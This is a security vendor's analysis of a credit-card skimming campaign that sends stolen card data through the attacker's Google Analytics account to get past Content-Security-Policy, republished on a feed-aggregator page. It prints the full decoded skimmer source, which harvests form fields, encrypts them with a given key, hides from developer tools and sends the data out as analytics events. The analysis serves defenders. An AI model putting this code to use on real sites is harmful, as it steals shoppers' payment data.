惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Stack Overflow Blog
Stack Overflow Blog
Simon Willison's Weblog
Simon Willison's Weblog
B
Blog
V
Visual Studio Blog
G
Google Developers Blog
云风的 BLOG
云风的 BLOG
S
SegmentFault 最新的问题
博客园 - 司徒正美
博客园 - 【当耐特】
T
Tenable Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
宝玉的分享
宝玉的分享
N
Netflix TechBlog - Medium
S
Secure Thoughts
Hugging Face - Blog
Hugging Face - Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
IT之家
IT之家
Google DeepMind News
Google DeepMind News
Last Week in AI
Last Week in AI
大猫的无限游戏
大猫的无限游戏
PCI Perspectives
PCI Perspectives
H
Hackread – Cybersecurity News, Data Breaches, AI and More
阮一峰的网络日志
阮一峰的网络日志
P
Privacy International News Feed
N
News and Events Feed by Topic
H
Hacker News: Front Page
MongoDB | Blog
MongoDB | Blog
Google DeepMind News
Google DeepMind News
F
Full Disclosure
Google Online Security Blog
Google Online Security Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
H
Heimdal Security Blog
Project Zero
Project Zero
C
CERT Recently Published Vulnerability Notes
MyScale Blog
MyScale Blog
AI
AI
月光博客
月光博客
C
Cyber Attacks, Cyber Crime and Cyber Security
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
WordPress大学
WordPress大学
L
Lohrmann on Cybersecurity
TaoSecurity Blog
TaoSecurity Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
C
CXSECURITY Database RSS Feed - CXSecurity.com
Spread Privacy
Spread Privacy
Apple Machine Learning Research
Apple Machine Learning Research
GbyAI
GbyAI
SecWiki News
SecWiki News
C
Cisco Blogs
The Last Watchdog
The Last Watchdog

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns CosmicSting attack & defense overview Persistent backdoors injected on Adobe Commerce via new CosmicSting attack CosmicSting attacks have started hitting major stores Polyfill supply chain attack hits 100K+ sites CosmicSting attack threatens 75% of Adobe Commerce stores Persistent Magento backdoor hidden in XML Sansec joins forces with Google's VirusTotal Sansec and Europol counter online skimming Magento wish list exploit bypasses WAF protection Is your store’s newsletter being used for phishing? Malware Persistence via Telegram and GitHub Postponed Exfiltration Evades Detection Sansec analysis: 12% of online stores leak private backups Vendors defeat Magento security patch (+ simple check) Fake Klaviyo accounts added to Magento Adobe Commerce merchants to be hit with TrojanOrders this season Extortion of Magento merchants Surge in Magento 2 template attacks Magento vendor Fishpig hacked, backdoors added Magento 2 critical vulnerability (CVE-2022-24086 & CVE-2022-24087) NaturalFreshMall: a Magento Mass Hack Magento and the Log4j vulnerability NginRAT parasite targets Nginx CronRAT malware hides behind February 31st New linux_avp malware hits eCommerce sites Case Study: How eCommerce Hackers Silently Steal Credit Card Data Google Apps Script used to steal data Fake payment page before checkout on Shopify and BigCommerce eCommerce trojan accidentally leaks victims Hackers exploit security flaw right before Black Friday Payment skimmer hides in social media buttons Cardbleed: 3% of Magento install base hacked North Korean hackers are skimming US and European shoppers Lockdown: Stores closed, online stores hacked Do these two things to keep your Magento 1 store running after June Magento 1 still PCI compliant after 1 July 2020? Sansec reveals longest Magecart skimming operation to date [Analysis] Maxcluster and Sansec partner to secure German stores Indonesian Magecart hackers arrested Payment skimmers have impersonated Sansec American Cancer Society hit by payment skimmer Magento security extentions vendor got hacked FBI recommends eCommerce malware protection Sansec at Europol training: 50,000+ stores hacked PCI-SSC/RHISAC quote Sansec: 20% stores reinfected Critical Magento 2 flaw exploited within 16 hours 57 payment gateways from Germany to Brazil targeted Sports brand Puma infected with advanced malware Credit cards of Atlanta Hawks fans stolen Bad extensions now main source of Magento hacks: a solution! Large sites hacked via Adminer database tool PHP tool 'Adminer' leaks passwords Competing digital skimmers sabotage each other Merchants struggle with MageCart reinfections Backdoor found in Webgility Unpublished security flaws (0days) massively exploited German political party store hacked before election MageCart: now with tripwire ABS-CBN next in series of high profile breaches Is your Google Analytics code malicious? MagentoCore group hacks 7,339 stores and counting Hackers breached Magento through helpdesk Cryptojacking found on 2496 online stores Why ordering HTTP headers is important Warning: fake Magento patch 9789 contains virus A Magento breach analysis: part 1 An OpenCart/Magento hacking dashboard Self-healing malware restores itself after deletion Visbot malware found on 6691 stores [analysis] Criminals have rewired 3,500 online stores
Digital skimmer runs entirely on Google, defeats CSP
Sansec Forensics Team · 2020-06-22 · via Sansec - experts in eCommerce security

A newly discovered skimming campaign runs entirely on Google servers, Sansec research shows. The novel malware sends stolen credit cards directly to Google Analytics, evading security controls like CSP.

Typically, a digital skimmer (aka Magecart) runs on dodgy servers in tax havens, and its location reveals its nefarious intent. But when a skimming campaign runs entirely on trusted Google servers, very few security systems will flag it as "suspicious". And more importantly, popular counter measures like Content-Security-Policy (CSP) will not work when a site administrator trusts Google.

The ramification of this new extraction method, is that CSP is practically worthless when you already have Google Analytics on your site. Merchants should use other methods to prevent theft of customer data. The most important one is preventing unauthorized access to your code base (the root cause of most hacks). Sansec recommends eComscan, the most advanced malware & vulnerability scanner for eCommerce sites today.

Technical analysis

Sansec has been tracking this novel campaign since March 17th. Several dozen stores have been injected with the loader, which runs on Googles open storage platform firebasestorage.googleapis.com.

The loader URL of this campaign is typically crafted to resemble the victim store, like this:

Firebase storage script

The loader has several layers of obfuscation. First, it creates a temporary iFrame that loads a Google Analytics account under control of the attacker (Google ID: UA-169607397-1).

UA Google ID

Then, it watches for form input. When a victim enters his/her credit card data, it gets encrypted and then sent as custom Analytics event to Google.

Form watcher

Subsequently, the thief is able to extract the credit card data from the Google Analytics dashboard, using the (XOR) encryption key c879f68417529b0c3851a7e336089fcb2c116b8d.

Other notable behaviour:

  • Because the client IP isn't directly logged to Google Analytics, the malware uses an external service https://api.ipify.org?format=json to retrieve the IP of the victim. The IP is stored in a cookie called _gaip. If you have such a cookie, you should double check your credit card statements!
  • The malware author did not care to remove his/her notes in broken English, such as "all fields what send" (to log the intercepted output).
  • The malware includes a debugging/testing facility, that can be enabled by adding debug_mode=11 to local storage.
  • If, at any time, the site visitor had the "Developer tools" open, the user would get flagged and the skimmer would not work for this user.

Full decoded malware source

/* 
  Decoded, (C) 2020 info@sansec.io 
  Functions/variables manually renamed but debug left in tact 
*/
(function () {
  var isDeveloperCookie = '_giad';
  var clientIPcookie = '_gaip';
  function findCookie(a0) {
    var a1 = document.cookie.match(new RegExp('(^| )' + a0 + '=([^;]+)'));
    if (a1) { return a1[0x2]; };
  }

  function setCookie(a0, a1, a2) {
    var a3 = '';
    if (a2) {
      var a4 = new Date();
      a4.setTime(a4.getTime() + a2 * 24 * 60 * 60 * 1000);
      a3 = '; expires=' + a4.toUTCString();
    }
    document.cookie = a0 + '=' + (a1 || '') + a3 + '; path=/';
  }

  function createGidLocalStorage() {
    if (window.localStorage.getItem('_gid')) {
      return window.localStorage.getItem('_gid');
    }
    var a0 = getUUID();
    window.localStorage.setItem('_gid', a0);
    return a0;
  }

  function debugLog(a0, a1) {
    if (isDebugEnabled()) {
      console.log(a0, a1);
    }
  }

  function l(a0) {
    if (a0) {
      if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
        return getAnalyticsIFrame().String(a0);
      }
      return String(a0);
    } else {
      if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
        return getAnalyticsIFrame().String;
      }
      return String;
    }
  }

  function xorEncode(a0, a1) {
    var a2 = [],
      a3 = 0,
      a4, a5 = '';
    for (var a6 = 0; a6 < 256; a6++) {
      a2[a6] = a6;
    }
    for (a6 = 0; a6 < 256; a6++) {
      a3 = (a3 + a2[a6] + l(a0).charCodeAt(a6 % a0.length)) % 256;
      a4 = a2[a6];
      a2[a6] = a2[a3];
      a2[a3] = a4;
    }
    a6 = 0;
    a3 = 0;
    for (var a7 = 0; a7 < a1.length; a7++) {
      a6 = (a6 + 1) % 256;
      a3 = (a3 + a2[a6]) % 256;
      a4 = a2[a6];
      a2[a6] = a2[a3];
      a2[a3] = a4;
      a5 += l().fromCharCode(l(a1).charCodeAt(a7) ^ a2[(a2[a6] + a2[a3]) % 256]);
    }
    return a5;
  }

  function isDebugEnabled() {
    return localStorage.getItem('debug_mode') == '11';
  }

  function hasDeveloperCookie() {
    return !!findCookie(isDeveloperCookie);
  }

  function noDeveloperFound() {
    return !hasDevTools && !hasDeveloperCookie() || hasDevTools && isDebugEnabled();
  }
  var hasDevTools = false;
  var r = {};
  r.isOpen = false;
  r.orientation = undefined;
  var s = r;
  var t = 160;
  var devToolsStatus = function (a0, a1) {
    var a2 = {};
    a2.isOpen = a0;
    a2.orientation = a1;
    var a3 = {};
    a3.detail = a2;
    window.dispatchEvent(new CustomEvent('devtoolschange', a3));
  };
  setInterval(checkForDevToosl, 500);

  function checkForDevToosl() {
    var a0 = window.outerWidth - window.innerWidth > t;
    var a1 = window.outerHeight - window.innerHeight > t;
    var a2 = a0 ? 'vertical' : 'horizontal';
    if (!(a1 && a0) && (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || a0 || a1)) {
      if (!s.isOpen || s.orientation !== a2) {
        markAsDeveloper();
        devToolsStatus(true, a2);
      }
      s.isOpen = hasDevTools = true;
      s.orientation = a2;
    } else {
      if (s.isOpen) {
        devToolsStatus(false, undefined);
      }
      s.isOpen = hasDevTools = false;
      s.orientation = undefined;
    }
  }

  function getRandNum(a0, a1) {
    return parseInt(Math.random() * (a1 - a0) + a0);
  }

  function markAsDeveloper() {
    if (!findCookie(isDeveloperCookie)) {
      setCookie(isDeveloperCookie, 'GA1.2.' + getRandNum(100000000, 999999999) + '.' + getRandNum(1000000000, 9999999999), 100);
    }
  }

  function y() {
    document.querySelectorAll('iframe#ga').forEach(function (a3) {
      debugLog('removed element', a3);
      a3.remove();
    });
    var a0 = document.createElement('iframe');
    a0.style.visibility = 'hidden';
    a0.style.width = '1px';
    a0.style.position = 'fixed';
    a0.style.height = '1px';
    a0.style.top = '-9999px';
    a0.style.left = '-9999px';
    a0.style.display = 'none';
    a0.frameBorder = 0;
    a0.setAttribute('scrolling', 'no');
    a0.id = 'ga';
    a0.name = 'ga';
    var a1 = 'function l(){var e,t,n,c,o,a;e=window,t=document,n=\'script\',c=\'_xxmga\',e.GoogleAnalyticsObject=c,e[c]=e[c]||function(){(e[c].q=e[c].q||[]).push(arguments)},e[c].l=1*new Date,o=t.createElement(n),a=t.getElementsByTagName(n)[0],o.async=1,o.onerror=_xe,o.onload=_xl,o.src=\'https://www.google-analytics.com/analytics.js\',a.parentNode.insertBefore(o,a),_xxmga(\'create\',\'UA-169607397-1\',\'auto\')}l();var i=i;function _xe(){i<6&&(l(),i++)}function _xl(){document&&document.currentScript&&document.currentScript.remove()};';
    var a2 = '<html><head><script>' + a1 + '</script></head><body></body></html>';
    if (document && document.querySelector('body')) {
      document.querySelector('body').appendChild(a0);
      debugLog('iframe added');
      a0.contentWindow.document.open();
      a0.contentWindow.document.write(a2);
      a0.contentWindow.document.close();
    }
  }

  function getAnalyticsIFrame() {
    let a0 = document.querySelector('iframe#ga[name=ga]');
    if (a0) {
      return a0.contentWindow || a0;
    }
    return null;
  }
  var A = '1';
  var eventID = '48';
  var clientIP;

  function D() {
    let a0 = new XMLHttpRequest();
    let a1 = 'https://api.ipify.org?format=json';
    a0.open('GET', a1, true);
    a0.setRequestHeader('Content-Type', 'application/json');
    a0.onreadystatechange = function () {
      try {
        if (a0.readyState == 4 && a0.status == 200 && a0.responseText) {
          clientIP = JSON.parse(a0.responseText).ip;
          setCookie(clientIPcookie, 'GA1.2.' + getRandNum(100000000, 999999999) + '.' + clientIP);
          debugLog('clientIp', clientIP);
        }
      } catch (a2) {
        debugLog('xhr load ip error', a2);
      }
    };
    a0.send();
  }

  function readAllInputs() {
    let allInputFields = document.querySelectorAll('input, select, textarea');
    let a1 = [];
    for (let inputfield of allInputFields) {
      if (inputfield.value && inputfield.value.trim() != '') {
        var a2 = {};
        a2['a'] = F(inputfield.attributes);
        a2['v'] = inputfield.value;
        a2['s'] = inputfield.tagName.charAt(0);
        a1.push(a2);
      }
    }
    return a1;
  }

  function F(a0) {
    let a1 = [];
    let a2 = ['name', 'id'];
    if (a0 && a0.length) {
      for (let a3 of a0) {
        if (a2.includes(a3.name)) {
          a1.push(a3.value);
        }
      }
    }
    return a1;
  }

  function G(a0) {
    if (a0) {
      return a0[0x0];
    }
  }
  var H = 'c879f68417529b0c3851a7e336089fcb2c116b8d';

  function sendPayload(source) {
    if (source && source.length) {
      let payload = {};
      payload.fields = source;
      payload.user_id = A;
      payload.host = window.location.host;
      payload.user_agent = window.navigator.userAgent;
      var timestamp = new Date();
      timestamp.setTime(timestamp.getTime() + (timestamp.getTimezoneOffset() - parseInt(timestamp.getTimezoneOffset())) * 60 * 1000);
      if (Y && getIPFromCookie()) {
        payload.ip = getIPFromCookie();
      }
      if (hasDeveloperCookie()) {
        payload.isDeveloper = 1;
      }
      payload.uid = findCookie('_gid') || createGidLocalStorage();
      payload.datetime = timestamp.toLocaleString();
      debugLog('all fields what send', payload);
      payload = serialize(payload);
      debugLog('data length', payload.length);
      let xorData = xorEncode(H, payload);
      debugLog('data rc4', xorData);
      debugLog('data rc4 length', xorData.length);
      let stolenData = base64encode(xorData);
      debugLog('data rc4', stolenData);
      debugLog('data rc4 length', stolenData.length);
      if (noDeveloperFound() && getAnalyticsIFrame() && getAnalyticsIFrame()._xxmga) {
        getAnalyticsIFrame()._xxmga('send', 'event', eventID, stolenData, getUUID());
      }
    }
  }

  function serialize(a0) {
    if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
      return getAnalyticsIFrame().unescape(getAnalyticsIFrame().encodeURIComponent(getAnalyticsIFrame().JSON.stringify(a0)));
    }
    return unescape(encodeURIComponent(JSON.stringify(a0)));
  }

  function base64encode(a0) {
    if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
      debugLog('??getGAIframe');
      return getAnalyticsIFrame().btoa(a0);
    }
    return btoa(a0);
  }

  function getUUID() {
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (a0) {
      var a1 = Math.random() * 16 | 0,
        a2 = a0 == 'x' ? a1 : a1 & 3 | 8;
      return a2.toString(16);
    });
  }
  var M;
  var N = EventTarget.prototype.addEventListener;
  EventTarget.prototype.addEventListener = function (a0, a1, a2 = false) {
    if (a2 == 'notRemovedListener') {
      M = a1;
    }
    return N.call(this, a0, a1);
  };
  var O = EventTarget.prototype.removeEventListener;
  EventTarget.prototype.removeEventListener = function (a0, a1, a2) {
    if (a1 == M) {
      return;
    }
    return O.call(this, a0, a1, a2);
  };
  var P = [];
  var Q = R;
  var R = function a0(a1) {
    if (P.includes(a1)) {
      return undefined;
    }
    return Q(a1);
  };
  var S = T;
  var T = function a1(a2) {
    if (P.includes(a2)) {
      return undefined;
    }
    return S(a2);
  };

  function U() {
    if (!M) {
      document.addEventListener('change', W, 'notRemovedListener');
    }
  }
  document.addEventListener('change', W, 'notRemovedListener');
  var V = window.setInterval(U, 1000);
  P.push(V);

  function W(a2) {
    debugLog('start_sniff');
    let a3 = a2.target;
    if (a3) {
      sendPayload(readAllInputs());
    }
  }
  debugLog('Sniffer init');
  checkForDevToosl();
  debugLog('is developer', hasDeveloperCookie());
  if (noDeveloperFound()) {
    y();
    var X = window.setInterval(function () {
      if (!document.querySelector('iframe#ga[name=ga]')) {
        y();
      }
    }, 1000);
    P.push(X);
  }
  var Y = '0';
  if (Number(Y) && noDeveloperFound() && !findCookie(clientIPcookie)) {
    D();
  }

  function getIPFromCookie() {
    if (findCookie(clientIPcookie)) {
      let a2 = findCookie(clientIPcookie);
      a2 = a2.split('.');
      if (a2.length && a2.length > 3) {
        a2.shift();
        a2.shift();
        a2.shift();
        let a3 = a2.join('');
        if (!isNaN(a3)) {
          return a2.join('.');
        }
      }
    }
    return false;
  }
  if (document && document.currentScript) {
    document.currentScript.remove();
  }
}());


var i = i;

function _xe() {
  i < 6 && (l(), i++)
}

function l() {
  var e, t, n, c, o, a;
  e = window;
  t = document;
  n = 'script';
  c = '_xxmga';
  window.GoogleAnalyticsObject = '_xxmga';
  window._xxmga = window._xxmga || function () {
    (e[c].q = e[c].q || []).push(arguments)
  };
  e[c].l = 1 * new Date;
  o = t.createElement(n);
  a = t.getElementsByTagName(n)[0];
  o.async = 1;
  o.onerror = _xe;
  o.onload = _xl;
  o.src = 'https://www.google-analytics.com/analytics.js';
  a.parentNode.insertBefore(o, a);
  _xxmga('create', 'UA-169607397-1', 'auto')
}
l();
function _xl() {
  document && document.currentScript && document.currentScript.remove()
};

Read more